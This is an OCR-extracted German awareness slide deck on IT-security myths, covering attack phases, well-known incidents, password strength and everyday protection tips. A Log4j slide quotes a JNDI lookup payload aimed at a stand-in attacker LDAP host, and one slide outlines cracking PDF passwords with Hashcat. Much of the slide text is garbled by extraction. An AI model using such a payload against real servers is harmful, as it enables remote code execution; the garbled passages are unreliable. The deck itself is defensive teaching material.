Mythen der IT-Sicherheit

und auf was man achten sollte

Markus Petzold



Wer bin ich?

Markus Petzold

Senior Prozessmanager bei der
Ostsachsischen Sparkasse Dresden

* Administrator / Entwickler

« 20 Jahren im IT-Umfeld tatig
e 1. Drittel als Consultant
e 2. und 3. Drittel in der OSD

* |nteressen:
* Automatisierung stupider Tatigkeiten
* Mobile Gerate
* IT Sicherheit
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Um was geht es?

* Wie funktioniert das eigentlich?
* Was ist in den letzten Jahren so passiert?

e Auf was sollte ich achten?
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Art von Angreifern

v , v

AulRenstehende Zugehorige |

v Y

N N\ N

/Organisierte  Hacker ~ Amateure
Angreifer

Terroristen - Black Hats - Script Kiddies
Hacktivisten - White Hats ,,,/

Staaten A
Kriminelle
Organisationen/»
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Schutzziele

1. Verfugbarkeit
2 Vertraulichkeit

3.Integritat
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Schutzziele

530 [-]

Coffea with Robin in 30 min

The Myth of IT Security — Markus Petzold 6



Verfugbarkeit

Verlust der Daten

oder des Gerats

The Myth of IT Security — Markus Petzold 7



Vertraulichkeit

%30

Unerlaubter Zugriff
oder Einsicht durch

Unbefugte
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Integritat

530

Coffes with Robin in 30 min
nm.-nn-n:ugﬁf.
iod O |
Unerlaubte

Veranderung der

Daten
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Phasen eines Angriffs

1. Aufklaren (Informationen uber Unternehmen, Personen und IT-
Infrastruktur sammeln)

2. Eindringen in die Infrastruktur (digitaler Brickenkopf)

3. Querbewegen (im Unternehmensnetzwerk umschauen)

4. Erweiterte Privilegien erschleichen (Adminrechte erschleichen)

5. Angriff (Daten abgreifen, manipulieren, verschlisseln)

6. Spuren verwischen (Logs I6schen, Konfigurationen bereinigen)
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1. Aufklaren

* Sozial Media Analyse

* Beobachtung der Unternehmensstandorte
* Analyse der Unternehmens- Website

* Beobachtung der Angestellten

* Analyse von Werbemails
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Metadaten in Bildern und PDFs

= ING_0120.1PG Properties _ &

Genes | Securty | Dotals | Rrevious Vessons |

| | e Naye ExpertGPS

(I wa iz 43572 \data as
! LE\1IH _Jeaen in

Vista JPEG
viewer

C
Mame IMG_01254PG
Type JPEG Inage
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PDFInfo

(Seitings JEY

Source...

Source

Choose PDF document or folder
with documents for process

Processing Options

Default Password:

Create Backup Files

Don't Request Unknow Passwords

Change Producer

New Producer information:

Change Creator

New Creator information:

Change Author

New Author information:

Change Title

New Title information:

Change Subject

New Subject information:

% Change Keywords

New Keywords information:

Super PDF Manager 1000

Max Mustermanr]|

Vertragsiibernahme - 33e.7787731
Alianz

Versicherung

12



2. Eindringen

* Einschleusen einer Schadsoftware
* Meist wird der Benutzer zu einem Fehler verleitet (6ffnen eines
Anhangs oder einer infizierten Website)

* Installieren von Software aus nicht vertrauenswurdigen Quellen

=> Aber es gibt doch Antivirenprogramme?
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(Mehrstufiger) Virenschutz

Ein Antivirenprogramm, Virenscanner oder Virenschutz-Programm

(Abklrzung: AV) ist eine Software, die bekannte Computerviren,

Computerwtrmer und Trojanische Pferde aufspuren, blockieren

und gegebenenfalls beseitigen soll.

https://de.wikipedia.org/wiki/Antivirenprogramm
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Mehrstufiger Virenschutz

 Hilft nur bei bekannten Bedrohungen
* Angreifer konnen den Schadcode gegen Erkennung testen (z.B.
auf VirusTotal.com)

» Kein Schutz vor ganz neuen Bedrohungen oder ZeroDay Exploids
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Zero Day Exploids

* Ausnutzung einer Sicherheitslucke, deren Existenz weder der Hersteller noch ein

. - Zero Day Protection 3
AV-Anbieter kennen
IT Gl
Hackar Explait created i fiisd Pubiicy Vendar l“ﬁ'mnﬁ'
¢ LebenSdauer descovers 10 Ieverage S Vendar ditributes T gnalure
vutnerakility | viknarability awarenEss | Signature | signature

e 25% <1.,5 Jahre

Window of Vulnerability

« 25 % > 9,5 Jahre
* 6,9 Jahre im Durchschnitt

* Durchschnittliche Entwicklungszeit eines Exploids nach Auffinden einer

Sicherheitsllcke: 22 Tage http://www.rand.org/pubs/research_reports/RR1751.html|
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Zero Day Exploids

ZERODIUM Payouts for Desktops/Servers’

Up to
006000 N Windows RCE: Remote Code Execution
I macOS LPE: Local Privilege Escalation
BN Linux/BSD | SBX: Sandbox Escape or Bypass
== Any OS VME:Virtual Machine Escape SE0 A
Up to Chrome
$500,000 RCE+4LPE
win
10 b |
Upto M5 Outlook
$250,000 RCE
BO3Z b |
Upto Thundarbird
4200,000 :
Upto ge Firgfox
$100,000 RCE+LPE RCE+LPE RCEHLPE
Mac Win 'Win,
Up to Adobe PDF Windows
$80,000 RCE+SB8X LPE/SBX
"oal ]
Up to Antivirus | macOS
350,000 RCE LPE/SBX
moaz
Up to Routers Antivinus
$10,000 ACE LPE
* All payouts are subject to change or cancellation without notice. All frademerks are the property of their respective owners. 201%/01 © zerodium.com
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Mehrstufiger Virenschutz

* Viren verbreiten sich schneller als heute

* Neue Geschaftsmodelle moglich:
* Durch anonyme digitale Wahrungen (Bezahlung und Mining)
* Festplattenverschlusselung

» ZeroDays sind mittlerweile international eine legitime Handelsware

http://www.rand.org/pubs/research_reports/RR1751.html
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3. Querbewegen

* An welche Netzwerkfreigaben komme ich ran?
* Welche Software wird eingesetzt?
* Welche Browserfavoriten gibt es?
* Wo kann sich der Benutzer anmelden?

* Gibt es Backup-Programme??
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4. Erweiterte Privilegien

erschleichen

» Aufrufen des E-Mailpostfaches
 Zugriff auf Social-Media-Konten
* Zugriff aufs Onlinebanking

* Schlecht gepatchte Software ausnutzen:

https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=CVE-2021-

44228&search_type=all&isCpeNameSearch=false
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5. Angrift

* Erpressung (Crypotrojaner)
* Onlineshopping im Namen des Opfers
» Unerlaubte Uberweisungen durchfiihren

e |dentitat stehlen
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Erpressung per Cryptotrojaner

Die Daten (und auch Backups werden komplett verschlusselt)

Die mogliche Erpressungssumme wird bei Unternehmen genau

analysiert

Cryptowahrungen (Bitcoins) dient als anonymes Zahlungsmittel

Die Erpresser haben einen 24/7 Kundendienst [m] s ]

Die Ransomware-Gruppe, die Mitarbeiter
schlecht behandelt
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Stuxnet - 2010

* Angriff auf die Industriesteuerung (SCADA-System) storte und

zerstorte Uber 1000 iranische Uran-Zentrifugen
* Die Anlagen waren uber das Internet nicht erreichbar

* Dies bremste das Iranische Atomprogramm nachhaltig

» Gilt als erster bekannter Einsatz
einer Hightech Cyberwaffe

(vermutlich aus USA und Israel)

T/ cdandd | e
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Yahoo - 2013/2014

* Daten der Uber 1 Milliarde Benutzer von unbekannten gestohlen
* Name, Geburtsdatum

 Mailadresse, Passworter

* Sicherheitsfrage...

* Verizon senkte daraufhin Ubernahmeangebot um 350 Millionen $
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Bundestagshack - 2014/2015

* Per fake-Mail der Vereinten Nationen verschafften
sich Hacker Zugang zum internen Bundestagsnetz

* Es wurden min. 16 GB an Daten heruntergeladen

* Vermutlich steckte die Gruppe APT28 (russischer

Militargeheimdienst dahinter®)
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* Ddos-Angriff auf den DNS-Provider Dyn

* Verteilter Uberlastungsangriff auf eines der grofiten Telefonbticher im

Internet

tioniert das Domain Name System

¢ DadurCh waren DIenSte Wle Amazon’ mk stecktin Ihrem Browser hinter einem

BBC, Paypal, Spotify, Twitter, Visa

’ ’ ’ s ,,.e\ 6300
\ /
uber Stunden nicht erreichbar Browser internet

%‘

Quelle: Eige
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WannaCry - 2017

* Innerhalb von 3 Tagen 220.000 Computer in 150 Lander befallen
* Verschlusselt Windows PCs

e Schlimmeres konnte nur durch

einen eingebauten Notabschalter 1

. Fahrt heut

verhindert werden

Geithain - B =5

| Thalheim (EZ9°)

y-Tharandt Dresden Hbf

-!f‘r.-_i? ng Gieis 11

52 for st
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Log4dJ - 2022

» Konzeptionsfehler in einem Programmbestandteil welches in vielen

Anwendungen steckt

* Konnte als Einfallstor fur
Angreifer genutzt werden

* Massive Aufwande fur Prufung

und Patches
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The log4j JNDI Attack

and how to prevent it

leg4f Imterpalates the siring and
queries the malicious LOAP sefver

The stting Is passad 1o log4)
for logaing

An ottacker inseris the INDI lookup In a
header fietd that i< ikely to be logged.

= “n ?
BET ftest HTTP/1.1 e #{jndi:1dap:/fevil.ua/x} ldap: ffevil.xaln
Host: viotim.xo -,
User-Agent: #{{ndi:ldap:/ fevil.xa/x} / €) DISABLE JNDI LOOKUPS
\ € BLOCK WITH WAF f \
\ I.' Q) PaTCH LOGA)
Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
http:/fvictimaa implementation Idap://evilxa
el | \
— o o — o EA
L& - === ) DiSABLE LDG4) L]
| ¢ e
) DisaBLE (5} /
REMOTE ..I, n |
CODEBASES f
w S
publin gloss Molisises imolements Seriniisohls | dn:
jovaClossiome: NMolicious
il jovolodebase: http:/fevil.no

smalioious dova coows : th
jovaBerializedbDoto: =...=

1
The LDAF server respands with direttory

infermation that cantains the malicious
Java class

JAVA deserinlizes {or downloads) the
mialicious jova closs and executes it

B D@ coErTn
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Weiltere Belispiel

World's Biggest Data Breaches
SRincied sset gradies han X000 recons
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Was ist das?

Barometer  Beschleunigungssensor Bluetooth
Elektromagnetischer Sensor Fingerabdruck  GPS  Gyroskop
Helligkeitssensor Luftfeuchtigkeit /Temperatursensor
Magnetometer  Mikrofon Mobilfunkantenne
Naherungssensor NFC Touchscreen Kamera Pulsmesser

WLAN

The Myth of IT Security — Markus Petzold 30



Mobile Endgerate - Sensoren

\
Barometer  Beschleunigungssensor Bluetooth
Elektomagnetischer Sensor Fingerabdruck  GPS GyroSkop

36! ’

a

nsor Luftfeucl it | peratursensor

Mikrofen:-:Mobilfunkantenne

TouchsBieen f‘meray Pulsmesser

-" 3 . C
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Mobile Endgerate

* Absolut standardisierte Hard- und Software
* Apps konnen Daten stehlen
* Freier Internetzugang kann als Infektionsquelle dienen

* Die Hardware kann relativ leicht gestohlen werden
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Mobile Endgerate

ZERODIUM Payouts for Mobiles’

RIB: Remote lallbreak with Persisience . (05
RCE: Remote Code Execution E Androfd
LPE: Local Privilege Escalation mm Any OS

SBX¥: Sandbox Escape or Bypass

* Ali payvouts ere subject to change or cancellation without notice, &t the dscretion of ZERQDHUM. All tredemarks are the property of their respeciive ownars. 2017/08 (B zerodium,com
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Mobile Endgerate

Up to
$2,500,000

Up to
$2.000,000

Up to
$1.500,000

Up to
$1,000,000

Up to
$500,000

Up o
$200,000

Up to
$100,000
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Onlinebanking lieber am PC?

* |ch kann auf der falschen Website landen

 Die Website entsteht am Client, nicht am Server

Browser

“ ‘ Browsar armnll diee Date
v o L de

) Growser SEWEF
ndErpratern
den HTML-Code € Srowser
stellt die
@ vWebsHs dar
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Onlinebanking auf dem Handy!

 Das Smartphone bietet eine geringere Angriffsflache

* Der Browser ist viel anfalliger

Before Sandboxie

* Mobile Betriebssysteme arbeiten

mit sandboxing
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Was haben Sie am Handgelenk?

Strava suggests military users 'opt out'
of heatmap as row deepens

Fitness-tracking company suggests secret army base locations were
made public by users, while militaries around world weigh up ban

37
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Authentifizierungsmechanismen

(Nachweis 2iner behauptete@ensc@in &{ Entitat)

/ /

« Wissen * Zugangsberechtigung * Person
. Besitz * Nutzungsberechtigung e Computer
e Biometrie * Nachweis einer Fahigkeit
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Wissen

* PIN _

* Passwort {

* Passphrase \? \}i\a}

 Geheime Frage \\ - .
YA /

Geheimer Algorithmus

> Kann erraten oder erspaht werden
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Passworthash

* Nicht zurlckrechenbare Funktion
* Anwendung:
* Datensignaturen
* sicheren Ablage von Kennwortern
* Ablage eines SchlUssels fur eine Dokumentenverschlusselung

Lo Lane el "o

VY | U¥
Password bob bob bob bob
Salt l . etS2ed yessfa
Hash fac3laa fdc31aa lvn49sa 7321610
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Passwort einer PDF erraten

» 6-stelliges Kennwort mit Grol3-, Kleinbuchstaben und Zahlen:
e 62°=5,6 x 10" Mdglichkeiten
* Nutzer wahlen oft nur Gro3buchstaben an erster Stelle:
* 62 x36°=3,7x10°
* Perl -Script zur Extraktion des Verschlusselungs- Hashs
* Hashcat (Berechnung auf Grafikkarte)
* Methode: Bruteforce
* Algorithmus: AES 128 Bit (am weitesten verbreitet)

* Hardware: Radeon R9 290X (8 GB DDR5)
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Passwort

123456

1a2b0z

Baum123

Herbst12
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PDF - 2. Versuch

Moglichkeiten

3,7 x 10°

3,7 x 10°

1,3 x 10™

4,8 x 10"

Crackzeit (hh:mm:ss)

00:00:21

00:09:10

00:19:11

06:23:18
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Und wie war das mit der Cloud?

Zahlen,
Anzahl Nur Zahlen Nur Gross- und Zahlen, Gross-und  Sonderzeichen,
Zeichen Kleinbuchstaben  Kleinbuchstaben  Kleinbuchstaben Gross- und
Kleinbuchstaben

Weniger als 1 Weniger als 1 Weniger als 1 Wenigerals 1 Weniger als 1

Sekunde Sekunde Sekunde Sekunde Sekunde
s Wenigerals 1 Weniger als 1 Weniger als 1 Weniger als 1 Weniger als 1
Sekunde Sekunde Sekunde Sekunde Sekunde
6 - N (Rl i Mg 1 Sekunde 5 Sekunden
7 i sl (B sl 25 Sekunden 1 Minute 6 Minuten
8 s e 5 Sekunden 22 Minuten 1 Stunde 8 Stunden
9 w‘;‘:ﬁ:’ﬂ;‘: 3 2 Minuten 19 Stunden 3 Tage 3 Wochen
10 w';':?“:"“‘;': 3 58 Minuten 1 Monat 7 Monate 5 Jahre
1 2 Sekunden 1 Tag 5 Jahre 41 Jahre 400 Jahre
12 25 Sekunden 3 Wochen 300 Jahre 2 Tsd Jahre 34 Tsd Jahre
13 4 Minuten 1 Jahr 16 Tsd Jahre 100 Tsd Jahre 2 Mio Jahre
14 41 Minuten 51 Jahre 800 Tsd Jahre 9 Mio Jahre 200 Mio Jahre
15 6 Stunden 1 Tsd Jahre 43 Mio Jahre 600 Mio Jahre 15 Mia Jahre
16 2Tage 34 Tsd Jahre 2 Mia Jahre 37 Mia Jahre 1 Trill Jahre
17 4 Wochen 800 Tsd Jahre 100 Mia Jahre 2 Trill Jahre 93 Trill Jahre
The Myth of IT Security — Markus Petzold 43
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Wie kommt man noch an den Pin?




Besitz

o Zertifikat
* Ausweis
* Urkunde
* Token

* SchlUssel

e Zugangskarte

> Kann gestohlen werden
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Biometrie

* Stimme; Fingerabdruck; Iris; Bewegungsmuster; Gesicht...
» Basiert auf semi-offentlichem Wissen

* Besitz: keine Weitergabe; kein Austausch moglich
» schwer zu falschen

* |deal fur die Authentifizierung zwischen Menschen
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Biometrie

ABER: Biometrische Merkmale mussen nicht komplett gefalscht
werden, es muss nur die Sensorik der Gegenstelle Uberlistet

werden:
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USB-Sticks waren gestern

Mg S etorage 60 MHz 32-Bit CPU

Replay Button >
_ Covert Case

“~LED Indicator

Optional Decal

® ® TypeAPlug a®
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Tipps fur den Alltag

1. Update installieren
2. Sichere Passworter verwenden

3. Backups anlegen

4. Programme nur aus vertrauenswurdigen Quellen

5. misstrauisch sein
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Updates installieren

* PC-Betriebssystem, Smartphone OS, Browser, Router
auf dem neusten stand halten!
* Gibt es keine Updates mehr

Ist das Gerat Elektroschrott
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Sichere Passworter

* min. 9 Zeichen, keine Worter, Grol3- Kleinbuchstaben,
Zahlen und Sonderzeichen verwenden

* Pro Account ein anderes Kennwort verwenden

* Passwortverwalter verwenden 'J

bitwarden

 Ein Buch zum niederschreiben ist auch OK. aber!

1Password

Avira  LastPass.e«
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Have | been Powned

Have | Been Pwned: Check if yo. = — 0

C O 8 hitpsy//haveibeenpwned.com

Home  Notify me Domain search  Wheo's been pwned Passwords  API About Donate B IP

"--have i been pwned?]

Check if your email or phone is in a data breach

email or phone (international format)

@ Generate secure, unique passwords for every account = [earn more at 1Password.com

11,782,894,091 114,514 222,801,090

pwned accounts pastes
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Ein sicheres Kennwort erstellen

OBOM,esududNI!
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Ein sicheres Kennwort erstellen

0

B ackup
0

M itleid
e rst

s ichern
d ann

u ber

d en

N achbarn
| achen
|
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Backups anlegen

* Physikalisch getrennte Backups anlegen
e auf Festplatte, DVD, BluRay

 in die Cloud hochladen

* Backup periodisch durchfuhren (min. erst Backup dann

Steuererklarung)

https://www.heise.de/download/specials/Die-beste-Backup-Software-Tools-fuer-Einsteiger-und-Profis-5052323
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Vertrauenswurdige Quellen

HD CINEMA

d fiir den VLC me

Cinema HD Apk
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Online bezahlen

e Geben Sie keine Kreditkartendaten

unbekannten Seiten ein
» Kein Kontologin aulerhalb der Bank
* Achten Sie auf die richtige Webseite (ggf. Googlen oder

URL selber eingeben)
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Weitere bekannte Betrugsmaschen

q B INACITICTIEn una Armuie
sind Ende-zu-Ende-
verschltsselt. Niemand
1 auBerhalb dieses Chats kann

* Windows Support Anrufer

I I iel d horen, nicht
* Anruf der Bank mit Bitte um ) 5¢ esh ocerannoren, nieh
— mehr zu erfahren.
Bestatlgu ngS'TAN -Hallo papa mein handy i;t _

kaputt gegangen, dies hier
ist jetz eben meine neue

° Whatsapp'Betrug nummer, diese kannst du
speichern@ bist du

?
Lotte? ...,

zZuhause

,digitaler Enkeltrick”
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Misstrauisch bleiben

The Myth of IT Security — Markus Petzold

LN Bl s
= 7 Movember um 2354 J“-

WeiB Jemand ob das ein Fake ist?
Wenn nicht weiB Jemand wo ich sowas kaufen .kann?
Bei Amazon und Ebay wird mir nix angezeigt. (=)

= ‘

GGERT

Schnurloser Duschkopf

- Weltneuheit
- Einfach agfschrauben und los
« Kabelloser Duschspaf in der ganzen Wohnung J
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Noch Fragen???

Vielen Dank fur eure

Aufmerksamkeit
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